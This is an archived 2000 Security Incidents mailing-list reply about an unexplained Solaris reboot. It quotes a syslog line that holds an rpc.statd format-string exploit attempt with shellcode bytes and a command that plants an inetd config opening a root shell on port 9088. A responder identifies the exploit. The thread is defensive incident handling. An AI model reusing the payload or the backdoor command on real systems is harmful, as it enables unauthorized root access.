Security Incidents mailing list archives

Re: A statd exploit?


From: Andreas Östling <andreaso () it su se>
Date: Fri, 18 Aug 2000 11:19:04 +0200

Looks like rpc.statd exploit for Linux/x86.
He should check for open root shells on port 9088 on all his machines.

/Andreas Östling

On Tue, 15 Aug 2000,  Randy Nethers wrote:
Yesterday, a friend of mine from a local university asked me to take a look at
a machine (an Ultra 2 w/Solaris 2.6) which had rebooted itself yesterday
morning (Aug 14th) for no apparent reason.

After poking around, I could find nothing of interest, except two things.
First I found in /var/adm/messages.0 the following line:

Aug 12 00:58:07 ultra2 statd[178]: statd: attempt to create
"/var/statmon/sm/%0 8x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
%08x %08x %08x %0242x%n%055 x%n%012x%n%0192x%nK^v ^( ^ ^.  #^1 F'F* FF+,
NV1@/bin/sh -c echo "9088 stream tc p nowait root /bin/sh -i" >> /tmp/m;
/usr/sbin/inetd /tmp/m;"


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